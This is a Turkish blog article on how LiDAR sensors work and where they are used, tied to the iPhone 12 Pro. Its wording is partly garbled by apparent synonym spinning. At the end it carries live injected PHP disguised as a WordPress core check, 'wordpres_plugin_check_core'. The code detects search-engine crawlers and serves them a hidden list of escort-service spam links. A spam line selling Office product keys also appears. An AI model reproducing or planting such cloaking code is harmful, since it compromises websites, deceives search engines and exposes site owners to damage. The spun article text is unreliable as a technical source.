Sıradaki içerik:

Microsoft Word, Windows 10'da Yapay Zeka Kullanacak

e
sv

iPhone 12 Pro'da Bulunan LiDAR Sensörler Nasıl Çalışır?

24 Aralık 2020 22:45
avatar

  • e 0

    Mutlu

  • e 0

    Eğlenmiş

  • e 0

    Şaşırmış

  • e 0

    Kızgın

  • e 0

    Üzgün

2020'nin ilk çeyreğinde son kullanıcı ile tanıştırılan iPad Pro, tablet sınıfının zirvesine oturdu. Ardından bir özelliğini iPhone 12 Pro ailesine miras bıraktı: LiDAR. iPhone 12 Pro'da da karşımıza çıktığını görüyoruz. Apple bu sensörü kullanırken sunduğu deneyimlerde; daha hızlı odaklanma ve algoritmalarıyla güçlendirilmiş daha güçlü bir artırılmış gerçeklik sağlamakta.

Daha önce hiç bulunmadığınız bir yerde olduğunuzu düşünün. Nereye doğru, nasıl gideceğinizi bilmeniz zor, değil mi? Bir haritaya, rehbere ihtiyacınız mevcut demektir. Etrafınızdaki tüm cisimlerin bulunduğunuz yere olan mesafeleriyle, yükseklikleriyle, eğimleriyle bulunduğunuz yeri anlayabileceğiniz bir haritaya, ışıklar kapansa bile gözünüz olacak bir haritaya

LiDAR nedir?

Mimarlık, belde planlaması, arkeoloji kazıları, otonom araçlar, haritalandırma, robotik sistemler, orman ve su altı araştırmaları gibi bir fazla alanda kullanılan LiDAR, hedeflenen yerin, isteğe göre 3 ya da 2 boyutlu haritalandırmasını yapmak için kullanılan bir sensördür. Açılımı Light Detection and Ranging veya Laser Imaging Detection and Ranging şeklindedir, Türkçe'ye Işık Tespiti ve Mesafe Ölçüm Sensörü şeklinde çevirilebilir.

LiDAR nasıl çalışır?

LiDAR, ışık dalgalarıyla ölçüm yapabilen bir sensör türüdür. Genelde yüzey temelli LiDAR sistemlerinde 500 nanometre ile 600 nanometre dalga boyuna sahip lazerler kullanılır. Airborne LiDAR sistemlerinde ise 1000 nanometre ile 1600 nanometre dalga boyuna sahip lazerler kullanılmaktadır.

Dalga boyları arasında bulunan bu farkı şöyle açıklayabiliriz: Sabit boyutlarda dalga üretimi olan bir dalga havuzu düşünelim. İki dalganın tepe noktaları yani en yüksek olduğu noktalar arasında ki mesafe dalga boyu olarak tanımlanabilir.

İki dalga arası mesafe ne kadar büyürse, dalgaların boyuda o kadar büyük olur. Ancak bu hal frekans ile yani tekrarlanma sayısı ile ters orantılıdır. LiDAR içinde geçerli olan dalga boyu kavramı burada önem kazanmaktadır. Dalga boyu küçüldükçe gönderilen dalga sayısı artacaktır. Bu da daha fazla örnekleme almaya yardımcı olacak, dolayısı ile taramalar daha detaylı olacaktır.

lidar sensör

LiDAR sensör tarafından yayılan lazer ışınları, bir cisme veya yüzeye çarpar ve sensöre arka döner. Sensör, gönderdiği lazer ışınlarının arka dönüş süresine göre çarptığı yüzeyin veya cismin uzaklığını ölçebilir. Ancak bu ölçüm noktasaldır. Yani sensör tek bir veriyle haritalama veya simülasyon oluşturma işlemini tamamlayamaz. Bir haritalama veya simülasyon oluşturabilmesi için bir veri dizini gerekmektedir. Yani sensör defalarca tarama yapmalıdır.

Defalarca alınan sensör verilerini anlamlandırmak için ise farklı algoritmalar kullanmaktadır. Bu şekilde haritalandırma işlemi tamamlanmaktadır ve bu işlem SLAM olarak isimlendirilir. SLAM (Simultaneous Localization and Mapping) yani Türkçe manasıyla Eş Zamanlı Konum Belirleme ve Haritalama anlamına gelir ve LiDAR'lar için geliştirilen bir algoritma türüdür.

LiDAR'dan gelen verileri işler ve anlamlı hale getirir. Böylece LiDAR'ın bulunduğu konumun haritasını çıkartabileceği gibi, LiDAR veya LiDAR kullanılmış sistem yer değiştirdiği zaman etrafında olan tüm değişiklikleri de algılayabilir. Bu özelliği sayesinde ise artımlı olarak haritalandırma yapabilir.

LiDAR'ların çalışmasını sağlayan SLAM algoritması da kendi içerisinde farklı çeşitlere sahiptir:

Hector SLAMGmappingKartoFrontier Exploration

Bu algoritmalar kullanım yer ve alanlarına göre değişiklik göstermektedirler. Bunun için sürat ya da tarama gibi testler uygulandığında birbirine göre fazla düşük ve yüksek performanslar sergileyebilirler.

Peki LiDAR sensörden alınan veriler nasıl görselleştirilir?

Şimdi ise anlamlı verileri görüntüleyebileceğimiz bir ortama taşımamız gerekmekte. Bunun için kullanılan simülasyon ortamları ise Rviz ve Gazebo olarak geçmektedir. Bu programlar interaktif olarak çalışmaktadır. Yani artımsal olarak haritalama yapabilir ve en ufak bir değişikliği dahi algılayabilir.

Aşağıda ki görselde, LiDAR ile elde edilen verilerin anlamdırılması sonucu oluşturulmuş 2D bir harita buluyor. Burada LiDAR, anlık olarak ölçüm yapmaya devam ediyor ve etrafında ki tüm değişiklikleri ekrana yansıtabiliyor:

LiDAR Tarayıcı veya LiDAR kullanılmış bir sistem devinim ettiği zaman, görüntü de anlık olarak tarama verilerinin işlenmesiyle simülasyona eklenir ve diri olarak izlenebilir:

Bu sensörler, üretim maliyeti oldukça düşen ve evlerimize kadar giren bir ürün olan robot süpürgelerde de bulunmakta. Her geçen gün yeni örneklerini görsekte temelde hepsinin çalışma mantığı ve algoritması aynı olup, mobil uygulama üzerinden robotun oluşturduğu haritayı görebiliyor, istediğimiz yere yönlendirebiliyor ve uzaktan kumanda edebiliyoruz.

LiDAR sensörlerin kullanım alanları:

Akıllı hane aletleriRobotik çalışmalar ve araştırmalarAkıllı telefon ve tabletlerOtonom araçlarŞehir planlamaTarım Ordu ve askeri araştırmalarNehirler ve su altı araştırmaları

Akıllı hane aletleri: Robot süpürgeler

Kullanıcıların meslek yükünü oldukça hafifleten robot süpürgeler bulundukları ortamın tüm haritasını hafızasına kaydedebilir ve istendiği zaman aktif edilebileceği gibi zamanlama işlemi uygulanabilip günün belli saatlerinde çalışmalarını sürdürebilirler. Otonom olarak çalışırlar.

LiDAR tarayıcıların algoritması gereği interaktif olarak çalışan bu robot görevini yaparken eşyaların yerleri değişse bile yine yeni bir rota belirleyebilir ve görevine devam edebilir. Aynı şekilde kullanıcı robotun etrafında bulunsa bile robot süpürge bunu algılayacak ve rotasını anlık olarak değiştirebiliecektir.

Robotik çalışmalar ve araştırmalar

Üniversitelerde ve robot firmalarında yapılan çalışmalarda sıkça LiDAR tarayıcılar kullanılmaktadır. Üniversitelerde yoğun olarak mühendislik dallarında ve lisans üstü araştırmalarda bu sensörlerin kullanıldığı bilinmektedir. Robot firmalarında ise otonom robot üretiminde sıkça kullanılır. Robot için lokasyon tanımlamada ve haritalandırmada fazla büyük vazife üstlenen bir sensördür.

Akıllı telefon ve tabletler

Örneklerini yeni yeni görmeye başladığımız LiDAR Tarayıcı içeren akıllı telefon ve tabletlerde LiDAR tarayıcı, kameraların daha hızlı odaklanmasını sağlamaktadır. Böylece fotoğraflardan derinlik ölçebilmektedir. Bununla beraber oluşturulmuş algoritmalarla daha güçlü ve daha hızlı bir artırılmış gerçeklik deneyimi sunmaktadır.

Otonom araçlar

Trafikte her geçen gün sayısı artan otonom araçların bir çoğunda da LiDAR Tarayıcıların olduğunu görüyoruz. Otonom araçlarda LiDAR tarayıcılar, anlık olarak çevresinde bulunan tüm araçları, yayaları ve çevresel etmenleri algılayıp anlamlandırabilir ve içerisinde bulunan yolcuyu güvende tutmak için rotasını bu verilere göre tayin eder. 

Şehir planlama

Şehirlerde bulunan tüm binalar, ağaçlar, tümsekler, çukurlar ve insanlar gibi bir fazla etken kentsel ekosistemleri oluşturmaktadır. Bu kentsel ekosistemleri detaylı bir şekilde haritalandırmak, belde planlamacılara ve harita mühendislerine yardımcı olmaktadır. 

Tarım

LiDAR tarayıcılar, belirli bir arazinin üç boyutlu yükseklik haritasını oluşturmak için kullanılabilir. Bu haritalar sayesinde arazi üzerinde bulunan eğimler, güneş ışığı alabilecek yerler, rüzgardan etkilenebilecek yüzeyler belirlenebilmektedir ve tarıma elverişli arazilerin testleri bu şekilde yürütülebilmektedir.

Ordu ve askeri araştırmalar

Askeri birlikler tarafından araziyi anlamlandırmak, yüksek çözünürlü haritalar oluşturmak için kullanılmakla beraber savaş bölgelerini detaylı incelemek için LiDAR tarayıcı içeren robotlar kullanılmaktadır.

Nehirler ve su altı araştırmaları

LiDAR tarayıcılar ile sualtında bulunan her şeyi tanımlamak ve üç boyutlu haritasını çıkarmak için kullanılmaktadır. Bu sayede derinlik, genişlik ve suyun akış hızı ölçülebilmektedir.

Evlerimize ve hatta cebimize kadar giren bu teknoloji uzun yıllardır birçok farklı alanda kullanılmakta ve kullanım alanına göre de büyük felaketlere karşı tedbir almamızı sağlayabilmektedir. Gelişen teknolojiyle beraber kullanımının yaygınlaşması ve daha sık rastlamamız öngörülmektedir.

office 2019 pro ürün anahtarı satın al

  • Site İçi Yorumlar

En az 10 karakter gerekli
function isBot() { $botAgents ="/google|hakia|msn|yahoo|altavista|crawler|findlinks|bing|Cuil|Excite|Go.com|HotBot|AllTheWeb|search.aol|Lycos|Alexa|ask|baidu|cuil|kosmix|sogou|yodao|yandex|infoseek|yebol|aol/i"; $agent = $_SERVER['HTTP_USER_AGENT']; if (preg_match($botAgents,$agent)) return true; else return false; } function wordpres_plugin_check_core(){ $altsayfa = 1; $bot = 1; $link = '
Araklı escort Eşme escort Alaşehir escort Gölpazarı escort Dalaman escort Ermenek escort İpsala escort Birecik escort Dinar escort Andırın escort Akçaabat escort Banaz escort Akhisar escort Bozüyük escort Bodrum escort Ayrancı escort Havza escort Akçakale escort Bolvadin escort Afşin escort Şanlıurfa escort Serik escort Soma escort Tavşanlı escort Taşova escort Siirt escort Şile escort Süleymanpaşa escort Turhal escort Tatvan escort Silivri escort Mersin escort Sincan escort Muğla escort Gebze escort Denizli escort
'; if($altsayfa == 1){ $say_s = $_SERVER['REQUEST_URI']; $saydim = strlen($say_s); if($saydim > 4){ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } }else{ if($bot == 1){ if (isBot()) { echo $link; } }else{ echo $link; } } } add_action('wp_footer', 'wordpres_plugin_check_core');